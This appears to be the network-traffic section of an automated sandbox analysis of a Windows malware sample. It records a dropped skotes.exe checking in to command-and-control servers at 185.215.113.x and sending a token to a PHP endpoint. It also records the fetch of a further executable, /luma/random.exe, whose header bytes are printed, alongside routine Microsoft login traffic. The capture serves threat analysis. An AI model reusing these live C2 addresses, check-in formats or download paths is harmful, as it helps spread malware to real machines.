Dec 7, 2024 00:16:01.122661114 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 00:16:01.122670889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 00:16:01.122791052 CET	24	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 00:16:01.123018980 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 00:16:01.123136044 CET	1236	IN	Data Raw: 2e fb 73 66 ed fc 18 93 75 93 70 fe c5 ae af 66 4d 85 85 1c 82 11 45 f3 84 39 bd 56 78 6d 75 7e 0e fb 73 66 ed fc 18 93 75 93 70 fe bd ae af 66 4d 2d 84 1c 82 11 25 f3 84 39 bd f6 77 6d 75 7e ee fb 73 66 ed fc 18 93 75 93 70 fe f5 ae af 66 4d dd Data Ascii: .sfupfME9Vxmu~sfupfM-%9wmu~sfupfM9wmu~sfupfM]{96smu~sfupfM9rmu~sfupfM9vrmu~nsfupfM9rmu~NsfupfM
Dec 7, 2024 00:16:01.123146057 CET	248	IN	Data Raw: 82 11 85 fe 84 39 bd 16 66 6d 75 7e 4e f6 73 66 ed fc 18 93 75 93 64 fe 79 af af 66 4d 8d 86 1c 82 11 65 fe 84 39 bd b6 65 6d 75 7e 2e f6 73 66 ed fc 18 93 75 93 88 fe 65 af af 66 4d 81 80 1c 82 11 45 fe 84 39 bd 56 69 6d 75 7e 0e f6 73 66 ed fc Data Ascii: 9fmu~NsfudyfMe9emu~.sfuefME9Vimu~sfudfMw%9hmu~sfu`fMx9hmu~sfu\fMM96hmu~sfu`fM%9gmu~sfu\fM9vcmu~nsf
Dec 7, 2024 00:16:01.123498917 CET	1236	IN	Data Raw: e9 b0 af 66 4d 05 81 1c 82 11 85 fd 84 39 bd 16 63 6d 75 7e 4e f5 73 66 ed fc 18 93 75 93 64 fe 11 b0 af 66 4d 85 7b 1c 82 11 65 fd 84 39 bd b6 62 6d 75 7e 2e f5 73 66 ed fc 18 93 75 93 70 fe fd b0 af 66 4d 95 77 1c 82 11 45 fd 84 39 bd 56 62 6d Data Ascii: fM9cmu~NsfudfM{e9bmu~.sfupfMwE9Vbmu~sfu5fM%9amu~sfudYfMx9amu~sfu\EfM96emu~sfu\yfM9dmu~tfu\mfM9vdmu
Dec 7, 2024 00:16:01.241925955 CET	1236	IN	Data Raw: 8e 00 74 66 ed fc 18 93 75 93 70 fe 71 b4 af 66 4d 05 7a 1c 82 11 a5 08 85 39 bd 76 98 6d 75 7e 6e 00 74 66 ed fc 18 93 75 93 64 fe 69 b4 af 66 4d dd 79 1c 82 11 85 08 85 39 bd 16 98 6d 75 7e 4e 00 74 66 ed fc 18 93 75 93 70 fe 95 b4 af 66 4d c5 Data Ascii: tfupqfMz9vmu~ntfudifMy9mu~NtfupfMe9mu~.tfufME9Vmu~tfufM%9mu~tfuXfMEw9mu~tfuXfM}96mu~tfu\fMey

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49889	185.215.113.206	80	7324	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 00:16:06.755702019 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDAFCGIEHIEBFCFBA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 32 37 37 64 36 64 65 32 65 39 66 31 34 37 63 31 30 35 35 30 34 38 36 61 63 63 30 62 62 33 64 65 38 64 62 38 33 63 63 31 35 62 31 31 63 32 66 65 63 30 65 31 63 66 37 34 65 38 37 33 35 65 63 39 35 37 39 35 64 32 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 2d 2d 0d 0a Data Ascii: ------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="token"8277d6de2e9f147c10550486acc0bb3de8db83cc15b11c2fec0e1cf74e8735ec95795d26------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DGHIDAFCGIEHIEBFCFBA--
Dec 7, 2024 00:16:08.577085018 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	50024	185.215.113.43	80	4140	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 00:17:04.480562925 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 7, 2024 00:17:05.823265076 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Dec 2024 23:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	50029	185.215.113.43	80	4140	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 00:17:07.462178946 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 37 32 38 37 35 42 32 35 43 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB72875B25C82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 7, 2024 00:17:09.912292957 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Dec 2024 23:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 31 32 38 31 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 32 38 32 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 31 32 38 32 31 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 31 32 38 32 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1012819001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1012820001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1012821001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1012822001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	50033	185.215.113.16	80	4140	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 00:17:10.036283016 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 7, 2024 00:17:11.372869015 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Dec 2024 23:17:10 GMT Content-Type: application/octet-stream Content-Length: 1849344 Last-Modified: Fri, 06 Dec 2024 23:05:55 GMT Connection: keep-alive ETag: "67538353-1c3800" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 af 50 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 c6 03 00 00 ac 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 a2 22 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 30 05 00 70 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELbPgPI@I"@\0p 1 2@.rsrc B@.idata 0F@ 0*@H@uymjeulqp/J@qrjjzjvx@I@.taggant0PI"@
Dec 7, 2024 00:17:11.372945070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 00:17:11.372957945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 00:17:11.373284101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 00:17:11.373343945 CET	1236	IN	Data Raw: 7c 17 23 de 70 4a 75 f0 58 4f c4 bb 92 3a 74 be 16 9f 8c fa 0e fc a7 27 fe 3c 67 be d9 5a f4 2f 8c 72 86 c6 1e 70 20 35 96 3e 14 fa 67 f6 2d 3e dc 87 7b 34 0a 27 f0 3b 59 45 a1 18 8e 6b 22 15 d1 fb 76 5b 56 62 f5 67 f5 48 15 6c 1e f9 65 3b 0f e7 Data Ascii: \|#pJuXO:t'<gZ/rp 5>g->{4';YEk"v[VbgHle;a=]qrWgBO8X@*5!gUF.euxZh/;1&!6Sv#_I[]]p~p4msz#-$q%5\Xu+Hp08wWgLgHwweH),[)qsHS6@[L-vo5
Dec 7, 2024 00:17:11.373357058 CET	1236	IN	Data Raw: bf 4c e0 27 3b 85 e6 17 4c 25 36 06 d1 86 b7 89 cf 3d cf 6e 41 87 6f 07 3e cd 3f bb 25 24 fd 37 cc af 24 2f 35 4a b8 bc af 44 6b ae 9f bb 35 2f 23 18 62 95 5e 42 f4 f4 af 9f a4 3b 6b 23 5c 9e 8b 30 2c a0 0c fc 06 5f ba 7a 97 2d 3f 37 24 5c c7 e0 Data Ascii: L';L%6=nAo>?%$7$/5JDk5/#b^B;k#\0,_z-?7$\iT~$1Zq/CKu98U}`Yr,%`8eAo Xf+/wVjhtE-\|Ws\|\|$2wolavo=7";{lCK !rTp$01"3[E
Dec 7, 2024 00:17:11.373368979 CET	1236	IN	Data Raw: 15 19 56 15 18 62 40 38 29 8e 2c bc 32 b5 5b c1 51 45 22 36 2f 42 4c 2b d9 87 17 75 f6 44 0f 3f 3f d1 bf 96 15 89 ee 1a 9f 15 e4 17 bc 3a b9 3d 18 2e 11 e4 97 ed a7 1a 17 e3 44 d6 4c e7 af df 6f b0 c1 ff 83 d6 46 f9 2e 53 68 eb 62 ec 21 9e 1d ed Data Ascii: Vb@8),2[QE"6/BL+uD??:=.DLoF.Shb!V$=lrr6s\|%&m26Il[iz359OI6klo2\|0W986gfo<vx'@"e~4zk O^N\|
Dec 7, 2024 00:17:11.374047041 CET	1236	IN	Data Raw: 73 87 3a cf 47 94 40 88 15 f2 4b f5 67 49 e1 de 7f 6e 90 34 6a b7 e9 b1 bc d8 35 c7 2f 52 17 a4 ef 94 66 d6 35 bf 0a 81 4e 66 68 2e f4 d4 ef 4c a4 7a c8 77 ed 1a 68 19 67 fc 7f 4c 14 4c ea b3 3b 45 2a c4 0a 66 bf 5d 3a 4e 74 0f b0 2f a1 78 3f cc Data Ascii: s:G@KgIn4j5/Rf5Nfh.LzwhgLL;E*f]:Nt/x?f=yoK$0: J N"bd+,=+pX-MU\QdJ>DEt(Zj)R$v(5O77L!\@9$(o _}@\|lwH]PI>4<^hrr\|k4[
Dec 7, 2024 00:17:11.374066114 CET	1236	IN	Data Raw: 06 fc e5 da 9f ac 75 29 a6 f7 cc 72 a8 11 a5 d3 e2 ca cd 6d 15 bc 9b 7d 8c d0 5d 5e c8 45 b5 f7 e7 70 66 8e ea cf a5 a8 2e 4d 74 be cf 60 26 b5 97 3b 74 45 3f 1b b5 b7 f2 ea e7 24 8b 9d a2 9b e6 6b e9 b7 75 87 27 8a 1b a3 74 8b dd cb c4 72 99 ce Data Ascii: u)rm}]^Epf.Mt`&;tE?$ku'tr-OZm>tgW?<0SA)#GvO+du`ax)1 D\.=uQqcYl9LyFdHpljeG65nEc-pa73#ag4cM@qd+
Dec 7, 2024 00:17:11.374078989 CET	1236	IN	Data Raw: 49 6b 45 08 9f 4a 34 b7 6d 7a e4 65 cf 2e 40 ce 96 4d 24 02 e0 d2 e2 75 2d 26 74 83 9d 3e 0e 6f 3b dd 30 a3 fc f3 d0 65 42 7c 34 15 8e 7e 4e d3 b6 6a 75 15 57 1d d6 61 78 6e f6 7d 26 6e 47 69 5b ee ae b5 c9 2e 42 00 6e ac 60 7e de 78 f0 e7 e0 33 Data Ascii: IkEJ4mze.@M$u-&t>o;0eB\|4~NjuWaxn}&nGi[.Bn`~x368W3n.'o:Ng&4rTdbH>5<%$@B+z?6pIGSkkW8nV,4%khu4_8vupuZE5G6$}F64mAWm{V?6'2tzdEH#W.GqF
Dec 7, 2024 00:17:11.493856907 CET	1236	IN	Data Raw: 0b ee 3b 0f 29 99 dc 28 13 85 41 65 43 a6 ec 4f 6f a9 f3 5b 25 a6 24 5c d7 d0 70 55 16 fd 9c 28 d7 3a 8f ae 2f 2a 76 5b 32 0e 83 09 d8 7a 64 4e 57 e7 97 36 f4 ed 14 e7 e3 21 9a 06 1c bc 5d ee 06 ac 16 3c 6f ae ed fc c7 83 12 23 e2 2f c5 28 16 bd Data Ascii: ;)(AeCOo[%$\pU(:/v[2zdNW6!]<o#/(8S#_r.h84lP^c.WeWJ&J,@?>v~dC6pU4}vebA,n/;{j(t ;B`CIT&sp2#"f8r#&Si-}p0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49708	20.231.128.66	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-12-06 23:15:05 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-06 23:15:06 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 06 Dec 2024 23:14:05 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: 59583731-66a6-4a43-b214-d94cd0d177da PPServer: PPV: 30 H: BL02EPF00027B68 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 06 Dec 2024 23:15:05 GMT Connection: close Content-Length: 11197
2024-12-06 23:15:06 UTC	11197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49709	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:07 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 39 71 46 54 74 62 41 55 63 45 65 34 39 69 42 71 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 39 65 37 30 37 32 65 62 66 65 32 61 62 39 35 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 9qFTtbAUcEe49iBq.1Context: 19e7072ebfe2ab95
2024-12-06 23:15:07 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-06 23:15:07 UTC	1076	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 35 33 0d 0a 4d 53 2d 43 56 3a 20 39 71 46 54 74 62 41 55 63 45 65 34 39 69 42 71 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 39 65 37 30 37 32 65 62 66 65 32 61 62 39 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 58 7a 55 45 6b 33 4e 66 59 68 39 44 37 4a 45 5a 56 62 6c 51 70 7a 62 55 68 49 35 31 6e 4c 71 31 6c 79 78 73 49 65 70 6c 50 58 6f 72 4f 79 52 49 56 48 6e 75 53 2b 51 69 6e 32 63 6a 51 38 47 78 6c 52 66 65 2f 66 72 53 38 6e 4e 35 33 45 6b 50 56 49 67 5a 54 76 4c 63 7a 43 74 4b 2f 74 4b 78 6b 4e 6c 45 66 39 33 48 61 4b 43 39 4b Data Ascii: ATH 2 CON\DEVICE 1053MS-CV: 9qFTtbAUcEe49iBq.2Context: 19e7072ebfe2ab95<device><compact-ticket>t=EwCwAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAXzUEk3NfYh9D7JEZVblQpzbUhI51nLq1lyxsIeplPXorOyRIVHnuS+Qin2cjQ8GxlRfe/frS8nN53EkPVIgZTvLczCtK/tKxkNlEf93HaKC9K
2024-12-06 23:15:07 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 39 71 46 54 74 62 41 55 63 45 65 34 39 69 42 71 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 39 65 37 30 37 32 65 62 66 65 32 61 62 39 35 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 9qFTtbAUcEe49iBq.3Context: 19e7072ebfe2ab95<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-06 23:15:07 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-06 23:15:07 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 58 43 69 62 57 6f 53 62 77 6b 69 36 52 59 6e 56 71 6b 52 51 47 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: XCibWoSbwki6RYnVqkRQGg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49712	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
